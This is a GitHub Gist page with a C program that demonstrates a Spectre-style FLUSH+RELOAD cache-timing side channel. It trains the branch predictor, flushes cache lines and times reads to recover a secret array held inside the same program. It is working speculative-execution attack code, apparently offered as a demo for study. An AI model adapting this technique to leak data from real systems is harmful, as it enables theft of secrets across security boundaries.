Last active
May 27, 2024 20:06
-
-
Save watbulb/b2deb681499d83a0ed203fbacd35b759 to your computer and use it in GitHub Desktop.
a simple spectre FLUSH+RELOAD cache-hit side-channel demo (tuned for Intel J3455)
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
* Simple Spectre FLUSH+RELOAD Cache Side-Channel | |
* Copyright @watbulb (Dayton Pidhirney) | |
*/ | |
#include <stdint.h> | |
#include <stdio.h> | |
#include <x86intrin.h> | |
// Intel(R) Celeron(R) CPU J3455 @ 1.50GHz | |
#define CACHE_HIT_THRESHOLD 20 | |
#define ARRAY1_SIZE 16 | |
#define SECRET_SIZE 16 | |
#define ARRAY2_SIZE (UINT8_MAX * 512) | |
static volatile uint8_t array1[ARRAY1_SIZE]; | |
static volatile uint8_t secret[SECRET_SIZE] = {10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 69}; | |
static uint8_t array2[ARRAY2_SIZE]; | |
static const uint8_t array1_size = ARRAY1_SIZE; | |
__attribute__((noinline)) void setup() { | |
for (int i = 0; i < ARRAY1_SIZE; i++) { | |
array1[i] = i; | |
} | |
for (int i = 0; i < ARRAY2_SIZE; i++) { | |
array2[i] = 1; | |
} | |
} | |
__attribute__((noinline)) void victim_function(size_t x) { | |
volatile uint8_t temp = 0; | |
if (x < array1_size) { // Mispred [BRANCH] | |
temp = array2[secret[x] * 512]; | |
} | |
} | |
__attribute__((noinline)) void flush_side_channel() { | |
// Flush array2 from the cache | |
for (int i = 0; i < UINT8_MAX; i++) { | |
_mm_clflush(&array2[i * 512]); | |
} | |
} | |
__attribute__((noinline)) void train_branch_predictor() { | |
int j = 0, z = 0; | |
do { | |
_mm_clflush(&array1_size); // Evict / Flush the victim branch predictor | |
do { ;; } while (z++ < 100); // Delay | |
victim_function(j % array1_size); | |
} while (j-- >= 0); | |
} | |
uint8_t read_byte(size_t x) { | |
// We skew the cache line eviction sizes based on our results index, | |
// the smaller the access width to the results array, the lower the bound | |
// in the secret match. If we increase the access and alignment, we | |
// cause a cache eviction closer to the upper bound of the secret | |
// match. | |
int64_t results[UINT8_MAX] = {0}; | |
uint32_t mix_i = 0; | |
uint32_t tsc = 0; | |
uint64_t time1 = 0, time2 = 0; | |
volatile uint8_t *addr = 0; | |
volatile uint8_t needle = 0; | |
for (int tries = 1000; tries > 0; tries--) { | |
flush_side_channel(); | |
train_branch_predictor(); | |
// Try to leak data via speculation. | |
// Here we follow the branch predictor pattern to cause a speculated | |
// read depending on our X input, thus influencing branch decisions. | |
int z = 0; | |
_mm_clflush(&array1_size); | |
do { ;; } while (z++ < 100); | |
victim_function(x); | |
// Measure speculated access times | |
for (int i = 0; i < UINT8_MAX; i++) { | |
mix_i = ((i * 167 /* + tries */ ) + 13) & UINT8_MAX; | |
addr = &array2[mix_i * 512]; | |
time1 = __rdtscp(&tsc); | |
needle = (*addr); | |
time2 = (__rdtscp(&tsc) - time1); | |
if (time2 <= CACHE_HIT_THRESHOLD) { | |
results[mix_i]++; | |
} | |
} | |
} | |
// Find the index with the highest count (indicating a cache hit) | |
uint8_t max = 0; | |
for (uint8_t i = 1; i < UINT8_MAX; i++) { | |
if (results[i] > results[max]) { | |
max = i; | |
} | |
} | |
return max; | |
} | |
int main() { | |
setup(); | |
// Read and print each byte of the secret based on misprediction results | |
while (1) { | |
for (size_t i = 0; i < SECRET_SIZE; i++) { | |
uint8_t value = read_byte(i); | |
printf("Secret[%zu] = %u\n", i, value); | |
} | |
} | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Depending on the sets and evictions, output should leak similar to: